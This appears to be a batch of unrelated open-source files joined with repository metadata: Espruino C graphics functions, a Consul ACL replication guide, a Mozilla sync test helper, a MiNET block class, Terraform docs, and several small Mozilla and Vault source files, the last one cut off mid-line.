jswrap_graphics_fillRect(JsVar *parent, int x1, int y1, int x2, int y2) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; graphicsFillRect(&gfx, (short)x1,(short)y1,(short)x2,(short)y2); graphicsSetVar(&gfx); // gfx data changed because modified area } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "drawRect", "generate" : "jswrap_graphics_drawRect", "params" : [ ["x1","int32","The left"], ["y1","int32","The top"], ["x2","int32","The right"], ["y2","int32","The bottom"] ] } Draw an unfilled rectangle 1px wide in the Foreground Color */ void jswrap_graphics_drawRect(JsVar *parent, int x1, int y1, int x2, int y2) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; graphicsDrawRect(&gfx, (short)x1,(short)y1,(short)x2,(short)y2); graphicsSetVar(&gfx); // gfx data changed because modified area } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "getPixel", "generate" : "jswrap_graphics_getPixel", "params" : [ ["x","int32","The left"], ["y","int32","The top"] ], "return" : ["int32","The color"] } Get a pixel's color */ int jswrap_graphics_getPixel(JsVar *parent, int x, int y) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return 0; return (int)graphicsGetPixel(&gfx, (short)x, (short)y); } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "setPixel", "generate" : "jswrap_graphics_setPixel", "params" : [ ["x","int32","The left"], ["y","int32","The top"], ["col","JsVar","The color"] ] } Set a pixel's color */ void jswrap_graphics_setPixel(JsVar *parent, int x, int y, JsVar *color) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; unsigned int col = gfx.data.fgColor; if (!jsvIsUndefined(color)) col = (unsigned int)jsvGetInteger(color); graphicsSetPixel(&gfx, (short)x, (short)y, col); gfx.data.cursorX = (short)x; gfx.data.cursorY = (short)y; graphicsSetVar(&gfx); // gfx data changed because modified area } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "setColor", "generate_full" : "jswrap_graphics_setColorX(parent, r,g,b, true)", "params" : [ ["r","JsVar","Red (between 0 and 1) OR an integer representing the color in the current bit depth and color order"], ["g","JsVar","Green (between 0 and 1)"], ["b","JsVar","Blue (between 0 and 1)"] ] } Set the color to use for subsequent drawing operations */ /*JSON{ "type" : "method", "class" : "Graphics", "name" : "setBgColor", "generate_full" : "jswrap_graphics_setColorX(parent, r,g,b, false)", "params" : [ ["r","JsVar","Red (between 0 and 1) OR an integer representing the color in the current bit depth and color order"], ["g","JsVar","Green (between 0 and 1)"], ["b","JsVar","Blue (between 0 and 1)"] ] } Set the background color to use for subsequent drawing operations */ void jswrap_graphics_setColorX(JsVar *parent, JsVar *r, JsVar *g, JsVar *b, bool isForeground) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; unsigned int color = 0; JsVarFloat rf, gf, bf; rf = jsvGetFloat(r); gf = jsvGetFloat(g); bf = jsvGetFloat(b); if (!jsvIsUndefined(g) && !jsvIsUndefined(b)) { int ri = (int)(rf*256); int gi = (int)(gf*256); int bi = (int)(bf*256); if (ri>255) ri=255; if (gi>255) gi=255; if (bi>255) bi=255; if (ri<0) ri=0; if (gi<0) gi=0; if (bi<0) bi=0; // Check if we need to twiddle colors int colorMask = gfx.data.flags & JSGRAPHICSFLAGS_COLOR_MASK; if (colorMask) { int tmpr, tmpg, tmpb; tmpr = ri; tmpg = gi; tmpb = bi; switch (colorMask) { case JSGRAPHICSFLAGS_COLOR_BRG: ri = tmpb; gi = tmpr; bi = tmpg; break; case JSGRAPHICSFLAGS_COLOR_BGR: ri = tmpb; bi = tmpr; break; case JSGRAPHICSFLAGS_COLOR_GBR: ri = tmpg; gi = tmpb; bi = tmpr; break; case JSGRAPHICSFLAGS_COLOR_GRB: ri = tmpg; gi = tmpr; break; case JSGRAPHICSFLAGS_COLOR_RBG: gi = tmpb; bi = tmpg; break; default: break; } } if (gfx.data.bpp==16) { color = (unsigned int)((bi>>3) | (gi>>2)<<5 | (ri>>3)<<11); } else if (gfx.data.bpp==32) { color = 0xFF000000 | (unsigned int)(bi | (gi<<8) | (ri<<16)); } else if (gfx.data.bpp==24) { color = (unsigned int)(bi | (gi<<8) | (ri<<16)); } else color = (unsigned int)(((ri+gi+bi)>=384) ? 0xFFFFFFFF : 0); } else { // just rgb color = (unsigned int)jsvGetInteger(r); } if (isForeground) gfx.data.fgColor = color; else gfx.data.bgColor = color; graphicsSetVar(&gfx); } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "getColor", "generate_full" : "jswrap_graphics_getColorX(parent, true)", "return" : ["int","The integer value of the colour"] } Get the color to use for subsequent drawing operations */ /*JSON{ "type" : "method", "class" : "Graphics", "name" : "getBgColor", "generate_full" : "jswrap_graphics_getColorX(parent, false)", "return" : ["int","The integer value of the colour"] } Get the background color to use for subsequent drawing operations */ JsVarInt jswrap_graphics_getColorX(JsVar *parent, bool isForeground) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return 0; return (JsVarInt)((isForeground ? gfx.data.fgColor : gfx.data.bgColor) & ((1UL<<gfx.data.bpp)-1)); } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "setFontBitmap", "generate_full" : "jswrap_graphics_setFontSizeX(parent, JSGRAPHICS_FONTSIZE_4X6, false)" } Set Graphics to draw with a Bitmapped Font */ /*JSON{ "type" : "method", "class" : "Graphics", "name" : "setFontVector", "ifndef" : "SAVE_ON_FLASH", "generate_full" : "jswrap_graphics_setFontSizeX(parent, size, true)", "params" : [ ["size","int32","The size as an integer"] ] } Set Graphics to draw with a Vector Font of the given size */ void jswrap_graphics_setFontSizeX(JsVar *parent, int size, bool checkValid) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; if (checkValid) { if (size<1) size=1; if (size>1023) size=1023; } if (gfx.data.fontSize == JSGRAPHICS_FONTSIZE_CUSTOM) { jsvObjectSetChild(parent, JSGRAPHICS_CUSTOMFONT_BMP, 0); jsvObjectSetChild(parent, JSGRAPHICS_CUSTOMFONT_WIDTH, 0); jsvObjectSetChild(parent, JSGRAPHICS_CUSTOMFONT_HEIGHT, 0); jsvObjectSetChild(parent, JSGRAPHICS_CUSTOMFONT_FIRSTCHAR, 0); } gfx.data.fontSize = (short)size; graphicsSetVar(&gfx); } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "setFontCustom", "generate" : "jswrap_graphics_setFontCustom", "params" : [ ["bitmap","JsVar","A column-first, MSB-first, 1bpp bitmap containing the font bitmap"], ["firstChar","int32","The first character in the font - usually 32 (space)"], ["width","JsVar","The width of each character in the font. Either an integer, or a string where each character represents the width"], ["height","int32","The height as an integer"] ] } Set Graphics to draw with a Custom Font */ void jswrap_graphics_setFontCustom(JsVar *parent, JsVar *bitmap, int firstChar, JsVar *width, int height) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; if (!jsvIsString(bitmap)) { jsExceptionHere(JSET_ERROR, "Font bitmap must be a String"); return; } if (firstChar<0 || firstChar>255) { jsExceptionHere(JSET_ERROR, "First character out of range"); return; } if (!jsvIsString(width) && !jsvIsInt(width)) { jsExceptionHere(JSET_ERROR, "Font width must be a String or an integer"); return; } if (height<=0 || height>255) { jsExceptionHere(JSET_ERROR, "Invalid height"); return; } jsvObjectSetChild(parent, JSGRAPHICS_CUSTOMFONT_BMP, bitmap); jsvObjectSetChild(parent, JSGRAPHICS_CUSTOMFONT_WIDTH, width); jsvObjectSetChildAndUnLock(parent, JSGRAPHICS_CUSTOMFONT_HEIGHT, jsvNewFromInteger(height)); jsvObjectSetChildAndUnLock(parent, JSGRAPHICS_CUSTOMFONT_FIRSTCHAR, jsvNewFromInteger(firstChar)); gfx.data.fontSize = JSGRAPHICS_FONTSIZE_CUSTOM; graphicsSetVar(&gfx); } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "drawString", "generate" : "jswrap_graphics_drawString", "params" : [ ["str","JsVar","The string"], ["x","int32","The left"], ["y","int32","The top"] ] } Draw a string of text in the current font */ void jswrap_graphics_drawString(JsVar *parent, JsVar *var, int x, int y) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; JsVar *customBitmap = 0, *customWidth = 0; int customHeight, customFirstChar; if (gfx.data.fontSize == JSGRAPHICS_FONTSIZE_CUSTOM) { customBitmap = jsvObjectGetChild(parent, JSGRAPHICS_CUSTOMFONT_BMP, 0); customWidth = jsvObjectGetChild(parent, JSGRAPHICS_CUSTOMFONT_WIDTH, 0); customHeight = (int)jsvGetIntegerAndUnLock(jsvObjectGetChild(parent, JSGRAPHICS_CUSTOMFONT_HEIGHT, 0)); customFirstChar = (int)jsvGetIntegerAndUnLock(jsvObjectGetChild(parent, JSGRAPHICS_CUSTOMFONT_FIRSTCHAR, 0)); } JsVar *str = jsvAsString(var, false); JsvStringIterator it; jsvStringIteratorNew(&it, str, 0); while (jsvStringIteratorHasChar(&it)) { char ch = jsvStringIteratorGetChar(&it); if (gfx.data.fontSize>0) { #ifndef SAVE_ON_FLASH int w = (int)graphicsFillVectorChar(&gfx, (short)x, (short)y, gfx.data.fontSize, ch); x+=w; #endif } else if (gfx.data.fontSize == JSGRAPHICS_FONTSIZE_4X6) { graphicsDrawChar4x6(&gfx, (short)x, (short)y, ch); x+=4; } else if (gfx.data.fontSize == JSGRAPHICS_FONTSIZE_CUSTOM) { // get char width and offset in string int width = 0, bmpOffset = 0; if (jsvIsString(customWidth)) { if (ch>=customFirstChar) { JsvStringIterator wit; jsvStringIteratorNew(&wit, customWidth, 0); while (jsvStringIteratorHasChar(&wit) && (int)jsvStringIteratorGetIndex(&wit)<(ch-customFirstChar)) { bmpOffset += (unsigned char)jsvStringIteratorGetChar(&wit); jsvStringIteratorNext(&wit); } width = (unsigned char)jsvStringIteratorGetChar(&wit); jsvStringIteratorFree(&wit); } } else { width = (int)jsvGetInteger(customWidth); bmpOffset = width*(ch-customFirstChar); } if (ch>=customFirstChar) { bmpOffset *= customHeight; // now render character JsvStringIterator cit; jsvStringIteratorNew(&cit, customBitmap, (size_t)bmpOffset>>3); bmpOffset &= 7; int cx,cy; for (cx=0;cx<width;cx++) { for (cy=0;cy<customHeight;cy++) { if ((jsvStringIteratorGetChar(&cit)<<bmpOffset)&128) graphicsSetPixel(&gfx, (short)(cx+x), (short)(cy+y), gfx.data.fgColor); bmpOffset++; if (bmpOffset==8) { bmpOffset=0; jsvStringIteratorNext(&cit); } } } jsvStringIteratorFree(&cit); } x += width; } if (jspIsInterrupted()) break; jsvStringIteratorNext(&it); } jsvStringIteratorFree(&it); jsvUnLock3(str, customBitmap, customWidth); graphicsSetVar(&gfx); // gfx data changed because modified area } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "stringWidth", "generate" : "jswrap_graphics_stringWidth", "params" : [ ["str","JsVar","The string"] ], "return" : ["int","The length of the string in pixels"] } Return the size in pixels of a string of text in the current font */ JsVarInt jswrap_graphics_stringWidth(JsVar *parent, JsVar *var) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return 0; JsVar *customWidth = 0; int customFirstChar; if (gfx.data.fontSize == JSGRAPHICS_FONTSIZE_CUSTOM) { customWidth = jsvObjectGetChild(parent, JSGRAPHICS_CUSTOMFONT_WIDTH, 0); customFirstChar = (int)jsvGetIntegerAndUnLock(jsvObjectGetChild(parent, JSGRAPHICS_CUSTOMFONT_FIRSTCHAR, 0)); } JsVar *str = jsvAsString(var, false); JsvStringIterator it; jsvStringIteratorNew(&it, str, 0); int width = 0; while (jsvStringIteratorHasChar(&it)) { char ch = jsvStringIteratorGetChar(&it); if (gfx.data.fontSize>0) { #ifndef SAVE_ON_FLASH width += (int)graphicsVectorCharWidth(&gfx, gfx.data.fontSize, ch); #endif } else if (gfx.data.fontSize == JSGRAPHICS_FONTSIZE_4X6) { width += 4; } else if (gfx.data.fontSize == JSGRAPHICS_FONTSIZE_CUSTOM) { if (jsvIsString(customWidth)) { if (ch>=customFirstChar) width += (unsigned char)jsvGetCharInString(customWidth, (size_t)(ch-customFirstChar)); } else width += (int)jsvGetInteger(customWidth); } jsvStringIteratorNext(&it); } jsvStringIteratorFree(&it); jsvUnLock2(str, customWidth); return width; } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "drawLine", "generate" : "jswrap_graphics_drawLine", "params" : [ ["x1","int32","The left"], ["y1","int32","The top"], ["x2","int32","The right"], ["y2","int32","The bottom"] ] } Draw a line between x1,y1 and x2,y2 in the current foreground color */ void jswrap_graphics_drawLine(JsVar *parent, int x1, int y1, int x2, int y2) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; graphicsDrawLine(&gfx, (short)x1,(short)y1,(short)x2,(short)y2); graphicsSetVar(&gfx); // gfx data changed because modified area } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "lineTo", "generate" : "jswrap_graphics_lineTo", "params" : [ ["x","int32","X value"], ["y","int32","Y value"] ] } Draw a line from the last position of lineTo or moveTo to this position */ void jswrap_graphics_lineTo(JsVar *parent, int x, int y) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; graphicsDrawLine(&gfx, gfx.data.cursorX, gfx.data.cursorY, (short)x, (short)y); gfx.data.cursorX = (short)x; gfx.data.cursorY = (short)y; graphicsSetVar(&gfx); } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "moveTo", "generate" : "jswrap_graphics_moveTo", "params" : [ ["x","int32","X value"], ["y","int32","Y value"] ] } Move the cursor to a position - see lineTo */ void jswrap_graphics_moveTo(JsVar *parent, int x, int y) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; gfx.data.cursorX = (short)x; gfx.data.cursorY = (short)y; graphicsSetVar(&gfx); } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "fillPoly", "generate" : "jswrap_graphics_fillPoly", "params" : [ ["poly","JsVar","An array of vertices, of the form ```[x1,y1,x2,y2,x3,y3,etc]```"] ] } Draw a filled polygon in the current foreground color */ void jswrap_graphics_fillPoly(JsVar *parent, JsVar *poly) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; if (!jsvIsIterable(poly)) return; const int maxVerts = 128; short verts[maxVerts]; int idx = 0; JsvIterator it; jsvIteratorNew(&it, poly); while (jsvIteratorHasElement(&it) && idx<maxVerts) { verts[idx++] = (short)jsvIteratorGetIntegerValue(&it); jsvIteratorNext(&it); } jsvIteratorFree(&it); if (idx==maxVerts) { jsWarn("Maximum number of points (%d) exceeded for fillPoly", maxVerts/2); } graphicsFillPoly(&gfx, idx/2, verts); graphicsSetVar(&gfx); // gfx data changed because modified area } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "setRotation", "generate" : "jswrap_graphics_setRotation", "params" : [ ["rotation","int32","The clockwise rotation. 0 for no rotation, 1 for 90 degrees, 2 for 180, 3 for 270"], ["reflect","bool","Whether to reflect the image"] ] } Set the current rotation of the graphics device. */ void jswrap_graphics_setRotation(JsVar *parent, int rotation, bool reflect) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; // clear flags gfx.data.flags &= (JsGraphicsFlags)~(JSGRAPHICSFLAGS_SWAP_XY | JSGRAPHICSFLAGS_INVERT_X | JSGRAPHICSFLAGS_INVERT_Y); // set flags switch (rotation) { case 0: break; case 1: gfx.data.flags |= JSGRAPHICSFLAGS_SWAP_XY | JSGRAPHICSFLAGS_INVERT_X; break; case 2: gfx.data.flags |= JSGRAPHICSFLAGS_INVERT_X | JSGRAPHICSFLAGS_INVERT_Y; break; case 3: gfx.data.flags |= JSGRAPHICSFLAGS_SWAP_XY | JSGRAPHICSFLAGS_INVERT_Y; break; } if (reflect) { if (gfx.data.flags & JSGRAPHICSFLAGS_SWAP_XY) gfx.data.flags ^= JSGRAPHICSFLAGS_INVERT_Y; else gfx.data.flags ^= JSGRAPHICSFLAGS_INVERT_X; } graphicsSetVar(&gfx); } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "drawImage", "generate" : "jswrap_graphics_drawImage", "params" : [ ["image","JsVar","An object with the following fields `{ width : int, height : int, bpp : int, buffer : ArrayBuffer, transparent: optional int }`. bpp = bits per pixel, transparent (if defined) is the colour that will be treated as transparent"], ["x","int32","The X offset to draw the image"], ["y","int32","The Y offset to draw the image"] ] } Draw an image at the specified position. If the image is 1 bit, the graphics foreground/background colours will be used. Otherwise color data will be copied as-is. Bitmaps are rendered MSB-first */ void jswrap_graphics_drawImage(JsVar *parent, JsVar *image, int xPos, int yPos) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return; if (!jsvIsObject(image)) { jsExceptionHere(JSET_ERROR, "Expecting first argument to be an object"); return; } int imageWidth = (int)jsvGetIntegerAndUnLock(jsvObjectGetChild(image, "width", 0)); int imageHeight = (int)jsvGetIntegerAndUnLock(jsvObjectGetChild(image, "height", 0)); int imageBpp = (int)jsvGetIntegerAndUnLock(jsvObjectGetChild(image, "bpp", 0)); unsigned int imageBitMask = (unsigned int)((1L<<imageBpp)-1L); JsVar *transpVar = jsvObjectGetChild(image, "transparent", 0); bool imageIsTransparent = transpVar!=0; unsigned int imageTransparentCol = (unsigned int)jsvGetInteger(transpVar); jsvUnLock(transpVar); JsVar *imageBuffer = jsvObjectGetChild(image, "buffer", 0); if (!(jsvIsArrayBuffer(imageBuffer) && imageWidth>0 && imageHeight>0 && imageBpp>0 && imageBpp<=32)) { jsExceptionHere(JSET_ERROR, "Expecting first argument to a valid Image"); jsvUnLock(imageBuffer); return; } JsVar *imageBufferString = jsvGetArrayBufferBackingString(imageBuffer); jsvUnLock(imageBuffer); int x=0, y=0; int bits=0; unsigned int colData = 0; JsvStringIterator it; jsvStringIteratorNew(&it, imageBufferString, 0); while ((bits>=imageBpp || jsvStringIteratorHasChar(&it)) && y<imageHeight) { // Get the data we need... while (bits < imageBpp) { colData = (colData<<8) | ((unsigned char)jsvStringIteratorGetChar(&it)); jsvStringIteratorNext(&it); bits += 8; } // extract just the bits we want unsigned int col = (colData>>(bits-imageBpp))&imageBitMask; bits -= imageBpp; // Try and write pixel! if (!imageIsTransparent || imageTransparentCol!=col) { if (imageBpp==1) col = col ? gfx.data.fgColor : gfx.data.bgColor; graphicsSetPixel(&gfx, (short)(x+xPos), (short)(y+yPos), col); } // Go to next pixel x++; if (x>=imageWidth) { x=0; y++; // we don't care about image height - we'll stop next time... } } jsvStringIteratorFree(&it); jsvUnLock(imageBufferString); graphicsSetVar(&gfx); // gfx data changed because modified area } /*JSON{ "type" : "method", "class" : "Graphics", "name" : "getModified", "generate" : "jswrap_graphics_getModified", "params" : [ ["reset","bool","Whether to reset the modified area or not"] ], "return" : ["JsVar","An object {x1,y1,x2,y2} containing the modified area, or undefined if not modified"] } Return the area of the Graphics canvas that has been modified, and optionally clear the modified area to 0. For instance if `g.setPixel(10,20)` was called, this would return `{x1:10, y1:20, x2:10, y2:20}` */ JsVar *jswrap_graphics_getModified(JsVar *parent, bool reset) { JsGraphics gfx; if (!graphicsGetFromVar(&gfx, parent)) return 0; JsVar *obj = 0; if (gfx.data.modMinX <= gfx.data.modMaxX) { // do we have a rect? obj = jsvNewWithFlags(JSV_OBJECT); if (obj) { jsvObjectSetChildAndUnLock(obj, "x1", jsvNewFromInteger(gfx.data.modMinX)); jsvObjectSetChildAndUnLock(obj, "y1", jsvNewFromInteger(gfx.data.modMinY)); jsvObjectSetChildAndUnLock(obj, "x2", jsvNewFromInteger(gfx.data.modMaxX)); jsvObjectSetChildAndUnLock(obj, "y2", jsvNewFromInteger(gfx.data.modMaxY)); } } if (reset) { gfx.data.modMaxX = -32768; gfx.data.modMaxY = -32768; gfx.data.modMinX = 32767; gfx.data.modMinY = 32767; graphicsSetVar(&gfx); } return obj; }
dptechnics/Espruino
libs/graphics/jswrap_graphics.c
C
mpl-2.0
31,197
--- name: 'ACL Replication for Multiple Datacenters' content_length: 15 id: acl-replication layout: content_layout products_used: - Consul description: Configure tokens, policies, and roles to work across multiple datacenters. --- You can configure tokens, policies and roles to work across multiple datacenters. ACL replication has several benefits. 1. It enables authentication of nodes and services between multiple datacenters. 1. The secondary datacenter can provide failover for all ACL components created in the primary datacenter. 1. Sharing policies reduces redundancy for the operator. ## Prerequisites Before starting this guide, each datacenter will need to have ACLs enabled, the process is outlined in the [Securing Consul with ACLs guide](/consul/security-networking/production-acls). This guide includes the additional ACL replication configuration for the Consul agents not covered in the Securing Consul with ACL guide. Additionally, [Basic Federation with WAN Gossip](/consul/security-networking/datacenters) is required. ## Introduction In this guide, you will setup ACL replication. This is a multi-step process that includes: - Setting the `primary_datacenter` parameter on all Consul agents in the primary datacenter. - Creating the replication token. - Configuring the `primary_datacenter` parameter on all Consul agents in the secondary datacenter. - Enabling token replication on the servers in the secondary datacenter. - Applying the replication token to all the servers in the secondary datacenter. You should complete this guide during the initial ACL bootstrapping process. -> After ACLs are enabled you must have a privileged token to complete any operation on either datacenter. You can use the initial `bootstrap` token as your privileged token. ## Configure the Primary Datacenter ~> Note, if your primary datacenter uses the default `datacenter` name of `dc1`, you must set a different `datacenter` parameter on each secondary datacenter. Otherwise, both datacenters will be named `dc1` and there will be conflicts. ### Consul Servers and Clients You should explicitly set the `primary_datacenter` parameter on all servers and clients, even though replication is enabled by default on the primary datacenter. Your agent configuration should be similar to the example below. ```json { "datacenter": "primary_dc", "primary_datacenter": "primary_dc", "acl": { "enabled": true, "default_policy": "deny", "down_policy": "extend-cache", "enable_token_persistence": true } } ``` The `primary_datacenter` [parameter](https://www.consul.io/docs/agent/options.html#primary_datacenter) sets the primary datacenter to have authority for all ACL information. It should also be set on clients, so that the they can forward API requests to the servers. Finally, start the agent. ```sh $ consul agent -config-file=server.json ``` Complete this process on all agents. If you are configuring ACLs for the first time, you will also need to [compelete the bootstrapping process](/consul/security-networking/production-acls) now. ## Create the Replication Token for ACL Management Next, create the replication token for managing ACLs with the following privileges. - acl = "write" which will allow you to replicate tokens. - operator = "read" for replicating proxy-default configuration entries. - service_prefix, policy = "read" and intentions = "read" for replicating service-default configuration entries, CA, and intention data. ```hcl acl = "write" operator = "read" service_prefix "" { policy = "read" intentions = "read" } ``` Now that you have the ACL rules defined, create a policy with those rules. ```sh $ consul acl policy create -name replication -rules @replication-policy.hcl ID: 240f1d01-6517-78d3-ec32-1d237f92ab58 Name: replication Description: Datacenters: Rules: acl = "write" operator = "read" service_prefix "" { policy = "read" intentions = "read" } ``` Finally, use your newly created policy to create the replication token. ```sh $ consul acl token create description "replication token" -policy-name replication AccessorID: 67d55dc1-b667-1835-42ab-64658d64a2ff SecretID: fc48e84d-3f4d-3646-4b6a-2bff7c4aaffb Description: replication token Local: false Create Time: 2019-05-09 18:34:23.288392523 +0000 UTC Policies: 240f1d01-6517-78d3-ec32-1d237f92ab58 - replication ``` ## Enable ACL Replication on the Secondary Datacenter Once you have configured the primary datacenter and created the replication token, you can setup the secondary datacenter. -> Note, your initial `bootstrap` token can be used for the necessary privileges to complete any action on the secondary servers. ### Configure the Servers You will need to set the `primary_datacenter` parameter to the name of your primary datacenter and `enable_token_replication` to true on all the servers. ```json { "datacenter": "dc_secondary", "primary_datacenter": "primary_dc", "acl": { "enabled": true, "default_policy": "deny", "down_policy": "extend-cache", "enable_token_persistence": true, "enable_token_replication": true } } ``` Now you can start the agent. ```sh $ consul agent -config-file=server.json ``` Repeat this process on all the servers. ### Apply the Replication Token to the Servers Finally, apply the replication token to all the servers using the CLI. ```sh $ consul acl set-agent-token replication <token> ACL token "replication" set successfully ``` Once token replication has been enabled, you will also be able to create datacenter local tokens. Repeat this process on all servers. If you are configuring ACLs for the first time, you will also need to [set the agent token](/consul/security-networking/production-acls#add-the-token-to-the-agent). Note, the clients do not need the replication token. ### Configure the Clients For the clients, you will need to set the `primary_datacenter` parameter to the name of your primary datacenter and `enable_token_replication` to true. ```json { "datacenter": "dc_secondary", "primary_datacenter": "primary_dc", "acl": { "enabled": true, "default_policy": "deny", "down_policy": "extend-cache", "enable_token_persistence": true, "enable_token_replication": true } } ``` Now you can start the agent. ```sh $ consul agent -config-file=server.json ``` Repeat this process on all clients. If you are configuring ACLs for the first time, you will also need to [set the agent token](/consul/security-networking/production-acls#add-the-token-to-the-agent). ## Check Replication Now that you have set up ACL replication, you can use the [HTTP API](https://www.consul.io/api/acl/acl.html#check-acl-replication) to check the configuration. ```sh $ curl http://localhost:8500/v1/acl/replication?pretty { "Enabled":true, "Running":true, "SourceDatacenter":"primary_dc", "ReplicationType":"tokens", "ReplicatedIndex":19, "ReplicatedTokenIndex":22, "LastSuccess":"2019-05-09T18:54:09Z", "LastError":"0001-01-01T00:00:00Z" } ``` Notice, the "ReplicationType" should be "tokens". This means tokens, policies, and roles are being replicated. ## Summary In this guide you setup token replication on multiple datacenters. You can complete this process on an existing datacenter, with minimal modifications. Mainly, you will need to restart the Consul agent when updating agent configuration with ACL parameters. If you have not configured other secure features of Consul, [certificates](consul/security-networking/certificates) and [encryption](consul/security-networking/agent-encryption), we recommend doing so now.
42wim/consul
website/source/docs/guides/acl-replication.md
Markdown
mpl-2.0
7,707
/* Any copyright is dedicated to the Public Domain. http://creativecommons.org/publicdomain/zero/1.0/ */ package org.mozilla.gecko.background.sync.helpers; import static junit.framework.Assert.assertEquals; import java.util.HashSet; import java.util.Set; import junit.framework.AssertionFailedError; public class ExpectNoGUIDsSinceDelegate extends DefaultGuidsSinceDelegate { public Set<String> ignore = new HashSet<String>(); @Override public void onGuidsSinceSucceeded(String[] guids) { AssertionFailedError err = null; try { int nonIgnored = 0; for (int i = 0; i < guids.length; i++) { if (!ignore.contains(guids[i])) { nonIgnored++; } } assertEquals(0, nonIgnored); } catch (AssertionFailedError e) { err = e; } performNotify(err); } }
jrconlin/mc_backup
tests/background/junit3/src/sync/helpers/ExpectNoGUIDsSinceDelegate.java
Java
mpl-2.0
834
namespace MiNET.Blocks { public class Lever : Block { public Lever() : base(69) { IsTransparent = true; IsSolid = false; BlastResistance = 2.5f; Hardness = 0.5f; } } }
MiPE-JP/RaNET
src/MiNET/MiNET/Blocks/Lever.cs
C#
mpl-2.0
191
--- subcategory: "Compute Engine" layout: "google" page_title: "Google: google_compute_region_ssl_certificate" sidebar_current: "docs-google-datasource-compute-region-ssl-certificate" description: |- Get info about a Regional Google Compute SSL Certificate. --- # google\_compute\_region\_ssl\_certificate Get info about a Region Google Compute SSL Certificate from its name. ## Example Usage ```tf data "google_compute_region_ssl_certificate" "my_cert" { name = "my-cert" } output "certificate" { value = data.google_compute_region_ssl_certificate.my_cert.certificate } output "certificate_id" { value = data.google_compute_region_ssl_certificate.my_cert.certificate_id } output "self_link" { value = data.google_compute_region_ssl_certificate.my_cert.self_link } ``` ## Argument Reference The following arguments are supported: * `name` (Required) - The name of the certificate. - - - * `project` - (Optional) The project in which the resource belongs. If it is not provided, the provider project is used. * `region` - (Optional) The region in which the resource belongs. If it is not provided, the provider region is used. ## Attributes Reference See [google_compute_region_ssl_certificate](https://www.terraform.io/docs/providers/google/r/compute_region_ssl_certificate.html) resource for details of the available attributes.
hashicorp/terraform-provider-google-beta
website/docs/d/compute_region_ssl_certificate.html.markdown
Markdown
mpl-2.0
1,363
/*-*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef nsISO88598IToUnicode_h___ #define nsISO88598IToUnicode_h___ #include "nsISupports.h" /** * A character set converter from ISO88598 to Unicode. * * @created 20/Apr/1999 * @author Catalin Rotaru [CATA] */ nsresult nsISO88598IToUnicodeConstructor(nsISupports *aOuter, REFNSIID aIID, void **aResult); #endif /* nsISO88598IToUnicode_h___ */
Yukarumya/Yukarum-Redfoxes
intl/uconv/ucvlatin/nsISO88598IToUnicode.h
C
mpl-2.0
679
package version func init() { // The main version number that is being run at the moment. Version = "0.10.3" // A pre-release marker for the version. If this is "" (empty string) // then it means that it is a final release. Otherwise, this is a pre-release // such as "dev" (in development), "beta", "rc1", etc. VersionPrerelease = "" }
youhong316/consul
vendor/github.com/hashicorp/vault/version/version_base.go
GO
mpl-2.0
345
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>Steeplechase harness</title> <script src="harness.js"></script> </head> <body> </body> </html>
mozilla/steeplechase
webharness/index.html
HTML
mpl-2.0
155
/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */ /* This Source Code Form is subject to the terms of the Mozilla Public * License, v. 2.0. If a copy of the MPL was not distributed with this * file, You can obtain one at http://mozilla.org/MPL/2.0/. */ #ifndef nsWindowMap_h_ #define nsWindowMap_h_ #import <Cocoa/Cocoa.h> // WindowDataMap // // In both mozilla and embedding apps, we need to have a place to put // per-top-level-window logic and data, to handle such things as IME // commit when the window gains/loses focus. We can't use a window // delegate, because an embeddor probably already has one. Nor can we // subclass NSWindow, again because we can't impose that burden on the // embeddor. // // So we have a global map of NSWindow -> TopLevelWindowData, and set // up TopLevelWindowData as a notification observer etc. @interface WindowDataMap : NSObject { @private NSMutableDictionary* mWindowMap; // dict of TopLevelWindowData keyed by address of NSWindow } + (WindowDataMap*)sharedWindowDataMap; - (void)ensureDataForWindow:(NSWindow*)inWindow; - (id)dataForWindow:(NSWindow*)inWindow; // set data for a given window. inData is retained (and any previously set data // is released). - (void)setData:(id)inData forWindow:(NSWindow*)inWindow; // remove the data for the given window. the data is released. - (void)removeDataForWindow:(NSWindow*)inWindow; @end @class ChildView; // TopLevelWindowData // // Class to hold per-window data, and handle window state changes. @interface TopLevelWindowData : NSObject { @private } - (id)initWithWindow:(NSWindow*)inWindow; + (void)activateInWindow:(NSWindow*)aWindow; + (void)deactivateInWindow:(NSWindow*)aWindow; + 